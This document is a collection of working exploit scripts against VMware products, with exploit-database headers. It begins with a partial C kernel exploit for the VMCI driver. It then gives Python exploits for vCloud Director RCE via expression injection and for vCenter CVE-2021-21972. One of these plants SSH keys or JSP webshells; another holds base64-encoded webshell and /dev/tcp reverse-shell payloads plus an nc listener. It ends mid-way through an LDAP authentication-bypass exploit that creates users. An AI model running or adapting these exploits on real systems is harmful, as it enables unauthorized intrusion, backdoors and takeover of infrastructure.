        WCHAR cmdPath[MAX_PATH] = {0};
        GetSystemDirectory(cmdPath, MAX_PATH);
        wcscat_s(cmdPath, MAX_PATH, L"\\cmd.exe");

        if (CreateProcess(cmdPath, L"", NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi) == TRUE)
        {
            hProcessToElevate = pi.hProcess;
            hSuspThread = pi.hThread;
        }
    }

    HANDLE hVMCIDevice = CreateFile(L"\\\\.\\vmci", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, NULL, NULL);
    if (hVMCIDevice != INVALID_HANDLE_VALUE)
    {
        UCHAR BadBuff[0x624] = {0};
        UCHAR retBuf[0x624] = {0};
        DWORD dwRet = 0;

        printf("[+] VMCI service found running\n");

        PVM_REQUEST pVmReq = (PVM_REQUEST)BadBuff;
        pVmReq->Header.RequestSize = 0xFFFFFFF0;
        
        PVOID pShellSprayBufStd = NULL;
        PVOID pShellSprayBufQtd = NULL;
        PVOID pShellSprayBufStd7 = NULL;
        PVOID pShellSprayBufQtd7 = NULL;
        PVOID pShellSprayBufChk8 = NULL;

        if ((b7) || (bXP) || (b8))
        {
            /*
                Significant bits of a PoolType of a chunk define the following regions:
                0x0A000000 - 0x0BFFFFFF - Standard chunk
                0x1A000000 - 0x1BFFFFFF - Quoted chunk
                0x0 - 0xFFFFFFFF - Free chunk - no idea

                Addon for Windows 7:
                Since PoolType flags have changed, and "In use flag" is now 0x2,
                define an additional region for Win7:

                0x04000000 - 0x06000000 - Standard chunk
                0x14000000 - 0x16000000 - Quoted chunk
            */
            
            pShellSprayBufStd = VirtualAlloc((LPVOID)0xA000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd = VirtualAlloc((LPVOID)0x1A000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufStd7 = VirtualAlloc((LPVOID)0x4000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
            pShellSprayBufQtd7 = VirtualAlloc((LPVOID)0x14000000, 0x2000000, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);

            if ((pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL) || (pShellSprayBufQtd == NULL))
            {
                printf("\t[-] Unable to map the needed memory regions, please try running the app again\n");
                CloseHandle(hVMCIDevice);
                return;
            }

            InitFakeBuf(pShellSprayBufStd, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd, 0x2000000);
            InitFakeBuf(pShellSprayBufStd7, 0x2000000);
            InitFakeBuf(pShellSprayBufQtd7, 0x2000000);

            PlaceFakeObjects(pShellSprayBufStd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufStd7, 0x2000000, 0x10000);
            PlaceFakeObjects(pShellSprayBufQtd7, 0x2000000, 0x10000);

            if (SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_TIME_CRITICAL) == FALSE)
            {
                SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_HIGHEST);
            }

            PoolSpray();

            if (DeviceIoControl(hVMCIDevice, 0x8103208C, BadBuff, sizeof(BadBuff), retBuf, sizeof(retBuf), &dwRet, NULL) == TRUE)
            {
                printf("\t[!] If you don't see any BSOD, you're successful\n");

                if (b7 || b8)
                {
                    ResumeThread(hSuspThread);
                }
            }
            else
            {
                printf("[-] Not this time %d\n", GetLastError());
            }

            if (pShellSprayBufStd != NULL)
            {
                VirtualFree(pShellSprayBufStd, 0, MEM_RELEASE);
            }

            if (pShellSprayBufQtd != NULL)
            {
                VirtualFree(pShellSprayBufQtd, 0, MEM_RELEASE);
            }
        }

        SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_NORMAL);

        CloseHandle(hVMCIDevice);
    }
    else
    {
        printf("[-] Like I don't see vmware here\n");
    }

    CloseHandle(hProcessToElevate);

    return;
}
            
# Exploit Title: VMWAre vCloud Director 9.7.0.15498291 - Remote Code Execution
# Exploit Author: Tomas Melicher
# Technical Details: https://citadelo.com/en/blog/full-infrastructure-takeover-of-vmware-cloud-director-CVE-2020-3956/
# Date: 2020-05-24
# Vendor Homepage: https://www.vmware.com/
# Software Link: https://www.vmware.com/products/cloud-director.html
# Tested On: vCloud Director 9.7.0.15498291
# Vulnerability Description: 
#   VMware vCloud Director suffers from an Expression Injection Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) via submitting malicious value as a SMTP host name.

#!/usr/bin/python

import argparse # pip install argparse
import base64, os, re, requests, sys
if sys.version_info >= (3, 0):
    from urllib.parse import urlparse
else:
    from urlparse import urlparse

from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)

PAYLOAD_TEMPLATE = "${''.getClass().forName('java.io.BufferedReader').getDeclaredConstructors()[1].newInstance(''.getClass().forName('java.io.InputStreamReader').getDeclaredConstructors()[3].newInstance(''.getClass().forName('java.lang.ProcessBuilder').getDeclaredConstructors()[0].newInstance(['bash','-c','echo COMMAND|base64 -di|bash|base64 -w 0']).start().getInputStream())).readLine()}"
session = requests.Session()

def login(url, username, password, verbose):
	target_url = '%s://%s%s'%(url.scheme, url.netloc, url.path)
	res = session.get(target_url)
	match = re.search(r'tenant:([^"]+)', res.content, re.IGNORECASE)
	if match:
		tenant = match.group(1)
	else:
		print('[!] can\'t find tenant identifier')
		return

	if verbose:
		print('[*] tenant: %s'%(tenant))

	match = re.search(r'security_check\?[^"]+', res.content, re.IGNORECASE)
	if match:																			# Cloud Director 9.*
		login_url = '%s://%s/login/%s'%(url.scheme, url.netloc, match.group(0))
		res = session.post(login_url, data={'username':username,'password':password})
		if res.status_code == 401:
			print('[!] invalid credentials')
			return
	else:																				# Cloud Director 10.*
		match = re.search(r'/cloudapi/.*/sessions', res.content, re.IGNORECASE)
		if match:
			login_url = '%s://%s%s'%(url.scheme, url.netloc, match.group(0))
			headers = {
				'Authorization': 'Basic %s'%(base64.b64encode('%s@%s:%s'%(username,tenant,password))),
				'Accept': 'application/json;version=29.0',
				'Content-type': 'application/json;version=29.0'
			}
			res = session.post(login_url, headers=headers)
			if res.status_code == 401:
				print('[!] invalid credentials')
				return
		else:
			print('[!] url for login form was not found')
			return

	cookies = session.cookies.get_dict()
	jwt = cookies['vcloud_jwt']
	session_id = cookies['vcloud_session_id']

	if verbose:
		print('[*] jwt token: %s'%(jwt))
		print('[*] session_id: %s'%(session_id))

	res = session.get(target_url)
	match = re.search(r'organization : \'([^\']+)', res.content, re.IGNORECASE)
	if match is None:
		print('[!] organization not found')
		return
	organization = match.group(1)
	if verbose:
		print('[*] organization name: %s'%(organization))

	match = re.search(r'orgId : \'([^\']+)', res.content)
	if match is None:
		print('[!] orgId not found')
		return
	org_id = match.group(1)
	if verbose:
		print('[*] organization identifier: %s'%(org_id))

	return (jwt,session_id,organization,org_id)


def exploit(url, username, password, command, verbose):
	(jwt,session_id,organization,org_id) = login(url, username, password, verbose)

	headers = {
		'Accept': 'application/*+xml;version=29.0',
		'Authorization': 'Bearer %s'%jwt,
		'x-vcloud-authorization': session_id
	}
	admin_url = '%s://%s/api/admin/'%(url.scheme, url.netloc)
	res = session.get(admin_url, headers=headers)
	match = re.search(r'<description>\s*([^<\s]+)', res.content, re.IGNORECASE)
	if match:
		version = match.group(1)
		if verbose:
			print('[*] detected version of Cloud Director: %s'%(version))
	else:
		version = None
		print('[!] can\'t find version of Cloud Director, assuming it is more than 10.0')

	email_settings_url = '%s://%s/api/admin/org/%s/settings/email'%(url.scheme, url.netloc, org_id)

	payload = PAYLOAD_TEMPLATE.replace('COMMAND', base64.b64encode('(%s) 2>&1'%command))
	data = '<root:OrgEmailSettings xmlns:root="http://www.vmware.com/vcloud/v1.5"><root:IsDefaultSmtpServer>false</root:IsDefaultSmtpServer>'
	data += '<root:IsDefaultOrgEmail>true</root:IsDefaultOrgEmail><root:FromEmailAddress/><root:DefaultSubjectPrefix/>'
	data += '<root:IsAlertEmailToAllAdmins>true</root:IsAlertEmailToAllAdmins><root:AlertEmailTo/><root:SmtpServerSettings>'
	data += '<root:IsUseAuthentication>false</root:IsUseAuthentication><root:Host>%s</root:Host><root:Port>25</root:Port>'%(payload)
	data += '<root:Username/><root:Password/></root:SmtpServerSettings></root:OrgEmailSettings>'
	res = session.put(email_settings_url, data=data, headers=headers)
	match = re.search(r'value:\s*\[([^\]]+)\]', res.content)

	if verbose:
		print('')
	try:
		print(base64.b64decode(match.group(1)))
	except Exception:
		print(res.content)


parser = argparse.ArgumentParser(usage='%(prog)s -t target -u username -p password [-c command] [--check]')
parser.add_argument('-v', action='store_true')
parser.add_argument('-t', metavar='target', help='url to html5 client (http://example.com/tenant/my_company)', required=True)
parser.add_argument('-u', metavar='username', required=True)
parser.add_argument('-p', metavar='password', required=True)
parser.add_argument('-c', metavar='command', help='command to execute', default='id')
args = parser.parse_args()

url = urlparse(args.t)
exploit(url, args.u, args.p, args.c, args.v)
            
# Exploit Title: VMware vCenter Server 7.0 - Unauthenticated File Upload
# Date: 2021-02-27
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2021-0002.html
# Version: vCenter Server 6.5 (7515524<[vulnerable]<17590285), vCenter Server 6.7 (<17138064) and vCenter Server 7 (<17327517)
# Tested on: vCenter Server Appliance 6.5, 6.7 & 7.0, multiple builds
# CVE: CVE-2021-21972

#!/usr/bin/env python3
'''
    Copyright 2021 Photubias(c)        
    This program is free software: you can redistribute it and/or modify
    it under the terms of the GNU General Public License as published by
    the Free Software Foundation, either version 3 of the License, or
    (at your option) any later version.
    
    This program is distributed in the hope that it will be useful,
    but WITHOUT ANY WARRANTY; without even the implied warranty of
    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
    GNU General Public License for more details.
    
    You should have received a copy of the GNU General Public License
    along with this program.  If not, see <http://www.gnu.org/licenses/>.
    
    File name CVE-2021-21972.py
    written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be

    CVE-2021-21972 is an unauthenticated file upload and overwrite,
     exploitation can be done via SSH public key upload or a webshell
     The webshell must be of type JSP, and its success depends heavily on the specific vCenter version
    
    # Manual verification:  https://<ip>/ui/vropspluginui/rest/services/checkmobregister
    #  A white page means vulnerable
    #  A 401 Unauthorized message means patched or workaround implemented (or the system is not completely booted yet)
    # Notes:
    #  * On Linux SSH key upload is always best, when SSH access is possible & enabled
    #  * On Linux the upload is done as user vsphere-ui:users
    #  * On Windows the upload is done as system user
    #  * vCenter 6.5 <=7515524 does not contain the vulnerable component "vropspluginui"
    #  * vCenter 6.7U2 and up are running the Webserver in memory, so backdoor the system (active after reboot) or use SSH payload
    
    This is a native implementation without requirements, written in Python 3.
    Works equally well on Windows as Linux (as MacOS, probably ;-)
    
    Features: vulnerability checker + exploit
'''

import os, tarfile, sys, optparse, requests
requests.packages.urllib3.disable_warnings()

lProxy = {}
SM_TEMPLATE = b'''<env:Envelope xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:env="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
      <env:Body>
      <RetrieveServiceContent xmlns="urn:vim25">
        <_this type="ServiceInstance">ServiceInstance</_this>
      </RetrieveServiceContent>
      </env:Body>
      </env:Envelope>'''
sURL = sFile = sRpath = sType = None

def parseArguments(options):
    global sURL, sFile, sType, sRpath, lProxy
    if not options.url or not options.file: exit('[-] Error: please provide at least an URL and a FILE to upload.')
    sURL = options.url
    if sURL[-1:] == '/': sURL = sURL[:-1]
    if not sURL[:4].lower() == 'http': sURL = 'https://' + sURL
    sFile = options.file
    if not os.path.exists(sFile): exit('[-] File not found: ' + sFile)
    sType = 'ssh'
    if options.type: sType = options.type
    if options.rpath: sRpath = options.rpath
    else: sRpath = None
    if options.proxy: lProxy = {'https': options.proxy}

def getVersion(sURL):
    def getValue(sResponse, sTag = 'vendor'):
        try: return sResponse.split('<' + sTag + '>')[1].split('</' + sTag + '>')[0]
        except: pass
        return ''
    oResponse = requests.post(sURL + '/sdk', verify = False, proxies = lProxy, timeout = 5, data = SM_TEMPLATE)
    #print(oResponse.text)
    if oResponse.status_code == 200:
        sResult = oResponse.text
        if not 'VMware' in getValue(sResult, 'vendor'):
            exit('[-] Not a VMware system: ' + sURL)
        else:
            sName = getValue(sResult, 'name')
            sVersion = getValue(sResult, 'version') # e.g. 7.0.0
            sBuild = getValue(sResult, 'build') # e.g. 15934073
            sFull = getValue(sResult, 'fullName')
            print('[+] Identified: ' + sFull)
            return sVersion, sBuild
    exit('[-] Not a VMware system: ' + sURL)

def verify(sURL):
    #return True
    sURL += '/ui/vropspluginui/rest/services/uploadova'
    try:
        oResponse = requests.get(sURL, verify=False, proxies = lProxy, timeout = 5)
    except:
        exit('[-] System not available: ' + sURL)
    if oResponse.status_code == 405: return True ## A patched system returns 401, but also if it is not booted completely
    else: return False

def createTarLin(sFile, sType, sVersion, sBuild, sRpath = None):
    def getResourcePath():
        oResponse = requests.get(sURL + '/ui', verify = False, proxies = lProxy, timeout = 5)
        return oResponse.text.split('static/')[1].split('/')[0]
    oTar = tarfile.open('payloadLin.tar','w')
    if sRpath: ## version & build not important
        if sRpath[0] == '/': sRpath = sRpath[1:]
        sPayloadPath = '../../' + sRpath
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'absolute'
    elif sType.lower() == 'ssh': ## version & build not important
        sPayloadPath = '../../home/vsphere-ui/.ssh/authorized_keys'
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'ssh'
    elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 5) or (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) < 13010631):
        ## vCenter 6.5/6.7 < 13010631, just this location with a subnumber
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/%d/0/h5ngc.war/resources/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        for i in range(112): oTar.add(sFile, arcname=sPayloadPath % i)
        oTar.close()
        return 'webshell'
    elif (int(sVersion.split('.')[0]) == 6 and int(sVersion.split('.')[1]) == 7 and int(sBuild) >= 13010631):
        ## vCenter 6.7 >= 13010631, webshell not an option, but backdoor works when put at /usr/lib/vmware-vsphere-ui/server/static/resources/libs/<thefile>
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/resources/libs/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'backdoor'
    else: #(int(sVersion.split('.')[0]) == 7 and int(sVersion.split('.')[1]) == 0):
        ## vCenter 7.0, backdoor webshell, but dynamic location (/usr/lib/vmware-vsphere-ui/server/static/resources15863815/libs/<thefile>)
        sPayloadPath = '../../usr/lib/vmware-vsphere-ui/server/static/' + getResourcePath() + '/libs/' + os.path.basename(sFile)
        print('[!] Selected uploadpath: ' + sPayloadPath[5:])
        oTar.add(sFile, arcname=sPayloadPath)
        oTar.close()
        return 'backdoor'
    

def createTarWin(sFile, sRpath = None):
    ## vCenter only (uploaded as administrator), vCenter 7+ did not exist for Windows
    if sRpath:
        if sRpath[0] == '/': sRpath = sRpath[:1]
        sPayloadPath = '../../' + sRpath
    else:
        sPayloadPath = '../../ProgramData/VMware/vCenterServer/data/perfcharts/tc-instance/webapps/statsreport/' + os.path.basename(sFile)
    oTar = tarfile.open('payloadWin.tar','w')
    oTar.add(sFile, arcname=sPayloadPath)
    oTar.close()

def uploadFile(sURL, sUploadType, sFile):
    #print('[!] Uploading ' + sFile)
    sFile = os.path.basename(sFile)
    sUploadURL = sURL +  '/ui/vropspluginui/rest/services/uploadova'
    arrLinFiles = {'uploadFile': ('1.tar', open('payloadLin.tar', 'rb'), 'application/octet-stream')}
    ## Linux
    oResponse = requests.post(sUploadURL, files = arrLinFiles, verify = False, proxies = lProxy)
    if oResponse.status_code == 200:
        if oResponse.text == 'SUCCESS':
            print('[+] Linux payload uploaded succesfully.')
            if sUploadType == 'ssh':
                print('[+] SSH key installed for user \'vsphere-ui\'.')
                print('     Please run \'ssh vsphere-ui@' + sURL.replace('https://','') + '\'')
                return True
            elif sUploadType == 'webshell':
                sWebshell = sURL + '/ui/resources/' + sFile
                #print('testing ' + sWebshell)
                oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
                if oResponse.status_code != 404:
                    print('[+] Webshell verified, please visit: ' + sWebshell)
                    return True
            elif sUploadType == 'backdoor':
                sWebshell = sURL + '/ui/resources/' + sFile
                print('[+] Backdoor ready, please reboot or wait for a reboot')
                print('     then open: ' + sWebshell)
            else: ## absolute
                pass
    ## Windows
    arrWinFiles = {'uploadFile': ('1.tar', open('payloadWin.tar', 'rb'), 'application/octet-stream')}
    oResponse = requests.post(sUploadURL, files=arrWinFiles, verify = False, proxies = lProxy)
    if oResponse.status_code == 200:
        if oResponse.text == 'SUCCESS':
            print('[+] Windows payload uploaded succesfully.')
            if sUploadType == 'backdoor':
                print('[+] Absolute upload looks OK')
                return True
            else:
                sWebshell = sURL + '/statsreport/' + sFile
                oResponse = requests.get(sWebshell, verify=False, proxies = lProxy)
                if oResponse.status_code != 404:
                    print('[+] Webshell verified, please visit: ' + sWebshell)
                    return True
    return False

if __name__ == "__main__":
    usage = (
        'Usage: %prog [option]\n'
        'Exploiting Windows & Linux vCenter Server\n'
        'Create SSH keys: ssh-keygen -t rsa -f id_rsa -q -N \'\'\n'
        'Note1: Since the 6.7U2+ (b13010631) Linux appliance, the webserver is in memory. Webshells only work after reboot\n'
        'Note2: Windows is the most vulnerable, but less mostly deprecated anyway')

    parser = optparse.OptionParser(usage=usage)
    parser.add_option('--url', '-u', dest='url', help='Required; example https://192.168.0.1')
    parser.add_option('--file', '-f', dest='file', help='Required; file to upload: e.g. id_rsa.pub in case of ssh or webshell.jsp in case of webshell')
    parser.add_option('--type', '-t', dest='type', help='Optional; ssh/webshell, default: ssh')
    parser.add_option('--rpath', '-r', dest='rpath', help='Optional; specify absolute remote path, e.g. /tmp/testfile or /Windows/testfile')
    parser.add_option('--proxy', '-p', dest='proxy', help='Optional; configure a HTTPS proxy, e.g. http://127.0.0.1:8080')
    
    (options, args) = parser.parse_args()
       
    parseArguments(options)
       
    ## Verify
    if verify(sURL): print('[+] Target vulnerable: ' + sURL)
    else: exit('[-] Target not vulnerable: ' + sURL)
    
    ## Read out the version
    sVersion, sBuild = getVersion(sURL)
    if sRpath: print('[!] Ready to upload your file to ' + sRpath)
    elif sType.lower() == 'ssh': print('[!] Ready to upload your SSH keyfile \'' + sFile + '\'')
    else: print('[!] Ready to upload webshell \'' + sFile + '\'')
    sAns = input('[?] Want to exploit? [y/N]: ')
    if not sAns or not sAns[0].lower() == 'y': exit()
    
    ## Create TAR file
    sUploadType = createTarLin(sFile, sType, sVersion, sBuild, sRpath)
    if not sUploadType == 'ssh': createTarWin(sFile, sRpath)

    ## Upload and verify
    uploadFile(sURL, sUploadType, sFile)
    
    ## Cleanup
    os.remove('payloadLin.tar')
    os.remove('payloadWin.tar')
            
# Exploit Title: VMware vCenter Server RCE 6.5 / 6.7 / 7.0 - Remote Code Execution (RCE) (Unauthenticated)
# Date: 06/21/2021
# Exploit Author: CHackA0101
# Vendor Homepage: https://kb.vmware.com/s/article/82374
# Software Link: https://www.vmware.com/products/vcenter-server.html
# Version: This affects VMware vCenter Server (7.x before 7.0 U1c, 6.7 before 6.7 U3l and 6.5 before 6.5 U3n) and VMware Cloud Foundation (4.x before 4.2 and 3.x before 3.10.1.2).
# Tested on: VMware vCenter version 6.5 (OS: Linux 4.4.182-1.ph1 SMP UTC 2019 x86_64 GNU/Linux)
# CVE: 2021-21972

# More Info: https://github.com/chacka0101/exploits/blob/master/CVE-2021-21972/README.md

#!/usr/bin/python2

import os
import urllib3
import argparse
import sys
import requests
import base64
import tarfile
import threading
import time

urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)

myargs=argparse.ArgumentParser()
myargs.add_argument('-T','--target',help='The IP address of the target',required=True)
myargs.add_argument('-L','--local',help='Your local IP',required=True)
args=myargs.parse_args()

def getprompt(x):
	print ("(CHackA0101-GNU/Linux)$ "+ str(x)) 

def getpath(path="/usr/lib/vmware-vsphere-ui/server/work/deployer/s/global/37/0/h5ngc.war/resources/shell4.jsp"):
    fullpath="../" * 7 + path
    return fullpath.replace('\\','/').replace('//','/')

def createbackdoor(localip):
    # shell4.jsp
    backdoor = "PGZvcm0gbWV0aG9kPSJHRVQiIGFjdGlvbj0iIj4KCTxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJjbWQiIC8+Cgk8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlYyEiIC8+CjwvZm9ybT4gPCUhCnB1YmxpYyBTdHJpbmcgZXNjKFN0cmluZyBzdHIpewoJU3RyaW5nQnVmZmVyIHNiID0gbmV3IFN0cmluZ0J1ZmZlcigpOwoJZm9yKGNoYXIgYyA6IHN0ci50b0NoYXJBcnJheSgpKQoJCWlmKCBjID49ICcwJyAmJiBjIDw9ICc5JyB8fCBjID49ICdBJyAmJiBjIDw9ICdaJyB8fCBjID49ICdhJyAmJiBjIDw9ICd6JyB8fCBjID09ICcgJyApCgkJCXNiLmFwcGVuZCggYyApOwoJCWVsc2UKCQkJc2IuYXBwZW5kKCImIyIrKGludCkoYyYweGZmKSsiOyIpOwoJcmV0dXJuIHNiLnRvU3RyaW5nKCk7Cn0gJT48JQpTdHJpbmcgY21kID0gcmVxdWVzdC5nZXRQYXJhbWV0ZXIoImNtZCIpOwppZiAoIGNtZCAhPSBudWxsKSB7CglvdXQucHJpbnRsbigiPHByZT5Db21tYW5kIHdhczogPGI+Iitlc2MoY21kKSsiPC9iPlxuIik7CglqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbSBpbiA9IG5ldyBqYXZhLmlvLkRhdGFJbnB1dFN0cmVhbShSdW50aW1lLmdldFJ1bnRpbWUoKS5leGVjKGNtZCkuZ2V0SW5wdXRTdHJlYW0oKSk7CglTdHJpbmcgbGluZSA9IGluLnJlYWRMaW5lKCk7Cgl3aGlsZSggbGluZSAhPSBudWxsICl7CgkJb3V0LnByaW50bG4oZXNjKGxpbmUpKTsKCQlsaW5lID0gaW4ucmVhZExpbmUoKTsKCX0KCW91dC5wcmludGxuKCI8L3ByZT4iKTsKfSAlPg=="
    backdoor = base64.b64decode(backdoor).decode('utf-8')
    f = open("shell4.jsp","w")
    f.write(backdoor)
    f.close()
    # reverse.sh 
    # After decoding overwrite string 'CUSTOM_IP' for local IP 
    shell="IyEvYmluL2Jhc2gKYmFzaCAtaSA+JiAvZGV2L3RjcC9DVVNUT01fSVAvNDQzIDA+JjE="
    shell=base64.b64decode(shell).decode('utf-8')
    shell=shell.replace('CUSTOM_IP',localip)
    f=open("reverse.sh","w")
    f.write(shell)
    f.close()
    # Move on with the payload
    payload_file=tarfile.open('payload.tar','w')
    myroute=getpath()
    getprompt('Adding web backdoor to archive')
    payload_file.add("shell4.jsp", myroute)
    myroute=getpath("tmp/reverse.sh")
    getprompt('Adding bash backdoor to archive')
    payload_file.add("reverse.sh", myroute)
    payload_file.close()
    # cleaning up a little bit
    os.unlink("reverse.sh")
    os.unlink("shell4.jsp")
    getprompt('Backdoor file just was created.')

def launchexploit(ip):
    res=requests.post('https://' + ip + '/ui/vropspluginui/rest/services/uploadova', files={'uploadFile':open('payload.tar', 'rb')}, verify=False, timeout=60)
    if res.status_code == 200 and res.text == 'SUCCESS':
        getprompt('Backdoor was uploaded successfully!')
        return True
    else:
        getprompt('Backdoor failed to be uploaded. Target denied access.')
    return False

def testshell(ip):
    getprompt('Looking for shell...')
    shell_path="/ui/resources/shell4.jsp?cmd=uname+-a"
    res=requests.get('https://' + ip + shell_path, verify=False, timeout=60)
    if res.status_code==200:
        getprompt('Shell was found!.')
        response=res.text
        if True:
            getprompt('Shell is responsive.')
            try:
                response=re.findall("b>(.+)</",response)[0]
                print('$>uname -a')
                print(response)
            except:
                pass
            return True
    else:
        getprompt('Sorry. Shell was not found.')
    return False

def opendoor(url):
    time.sleep(3)
    getprompt('Executing command.')
    requests.get(url, verify=False, timeout=1800)
	
def executebackdoor(ip, localip):
    url="https://"+ip+"/ui/resources/shell4.jsp?cmd=bash%20/tmp/reverse.sh"
    t=threading.Thread(target=opendoor,args=(url,))
    t.start()
    getprompt('Setting up socket '+localip+':443')
    os.system('nc -lnvp 443')

if len(sys.argv)== 1:
    myargs.print_help(sys.stderr)
    sys.exit(1)
createbackdoor(args.local)
uploaded=launchexploit(args.target)
if uploaded:
    tested=testshell(args.target)
    if tested:
        executebackdoor(args.target, args.local)
getprompt("Execution completed!")
            
# Exploit Title: VMware vCenter Server 6.7 - Authentication Bypass
# Date: 2020-06-01
# Exploit Author: Photubias
# Vendor Advisory: [1] https://www.vmware.com/security/advisories/VMSA-2020-0006.html
# Version: vCenter Server 6.7 before update 3f
# Tested on: vCenter Server Appliance 6.7 RTM (updated from v6.0)
# CVE: CVE-2020-3952

#!/usr/bin/env python3

'''
	Copyright 2020 Photubias(c)        
        This program is free software: you can redistribute it and/or modify
        it under the terms of the GNU General Public License as published by
        the Free Software Foundation, either version 3 of the License, or
        (at your option) any later version.

        This program is distributed in the hope that it will be useful,
        but WITHOUT ANY WARRANTY; without even the implied warranty of
        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
        GNU General Public License for more details.

        You should have received a copy of the GNU General Public License
        along with this program.  If not, see <http://www.gnu.org/licenses/>.
        
        Based (and reverse engineerd from): https://github.com/guardicore/vmware_vcenter_cve_2020_3952
        
        File name CVE-2020-3592.py
        written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be
        
        ## Vulnerable setup (requirements): vCenter Server 6.7 that was upgraded from 6.x
        
        This is a native implementation without requirements, written in Python 3.
        Works equally well on Windows as Linux (as MacOS, probably ;-)

        Features: exploit + vulnerability checker
'''

import binascii, socket, sys, string, random

## Default vars; change at will
_sIP = '192.168.50.35'
_iPORT = 389
_iTIMEOUT = 5

def randomString(iStringLength=8):
    #sLetters = string.ascii_lowercase
    sLetters = string.ascii_letters
    return ''.join(random.choice(sLetters) for i in range(iStringLength))

def getLengthPrefix(sData, sPrefix, hexBytes=1): ## sData is hexlified
    ## This will calculate the length of the string, and verify if an additional '81' or '82' prefix is needed
    sReturn = sPrefix
    if (len(sData) / 2 ) > 255:
        sReturn  += b'82'
        hexBytes = 2
    elif (len(sData) /2 ) >= 128:
        sReturn += b'81'
    sReturn += f"{int(len(sData)/2):#0{(hexBytes*2)+2}x}"[2:].encode()
    return sReturn

def buildBindRequestPacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    ## Packet Construction
    sPacket = getLengthPrefix(sPass, b'80') + sPass
    sPacket = getLengthPrefix(sUser, b'04') + sUser + sPacket
    sPacket = b'020103' + sPacket
    sPacket = getLengthPrefix(sPacket, b'60') + sPacket
    sPacket = b'020101' + sPacket
    sPacket = getLengthPrefix(sPacket, b'30') + sPacket
    #print(sPacket)
    return binascii.unhexlify(sPacket)    

def buildUserCreatePacket(sUser, sPass):
    sUser = binascii.hexlify(sUser.encode())
    sPass = binascii.hexlify(sPass.encode())
    def createAttribute(sName, sValue):
        sValue = getLengthPrefix(sValue, b'04') + sValue
        sName = getLengthPrefix(sName, b'04') + sName
        
        sReturn = getLengthPrefix(sValue, b'31') + sValue
        sReturn = sName + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    def createObjectClass():
        sReturn = getLengthPrefix(binascii.hexlify(b'top'), b'04') + binascii.hexlify(b'top')
        sReturn += getLengthPrefix(binascii.hexlify(b'person'), b'04') + binascii.hexlify(b'person')
        sReturn += getLengthPrefix(binascii.hexlify(b'organizationalPerson'), b'04') + binascii.hexlify(b'organizationalPerson')
        sReturn += getLengthPrefix(binascii.hexlify(b'user'), b'04') + binascii.hexlify(b'user')
        
        sReturn = getLengthPrefix(sReturn, b'31') + sReturn
        sReturn = getLengthPrefix(binascii.hexlify(b'objectClass'), b'04') + binascii.hexlify(b'objectClass') + sReturn
        sReturn = getLengthPrefix(sReturn, b'30') + sReturn
        return sReturn
    
    ## Attributes
    sAttributes = createAttribute(binascii.hexlify(b'vmwPasswordNeverExpires'), binascii.hexlify(b'True'))
    sAttributes += createAttribute(binascii.hexlify(b'userPrincipalName'), sUser + binascii.hexlify(b'@VSPHERE.LOCAL'))
    sAttributes += createAttribute(binascii.hexlify(b'sAMAccountName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'givenName'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'sn'), binascii.hexlify(b'vsphere.local'))
    sAttributes += createAttribute(binascii.hexlify(b'cn'), sUser)
    sAttributes += createAttribute(binascii.hexlify(b'uid'), sUser)
    sAttributes += createObjectClass()
    sAttributes += createAttribute(binascii.hexlify(b'userPassword'), sPass)
    ## CN
    sCN = binascii.hexlify(b'cn=') + sUser + binascii.hexlify(b',cn=Users,dc=vsphere,dc=local')
    sUserEntry = getLengthPrefix(sCN, b'04') + sCN
    
    ## Packet Assembly (bottom up)
    sPacket = getLengthPrefix(sAttributes, b'30') + sAttributes
    sPacket = sUserEntry + sPacket
    sPacket = getLengthPrefix(sPacket, b'02010268', 2) + sPacket
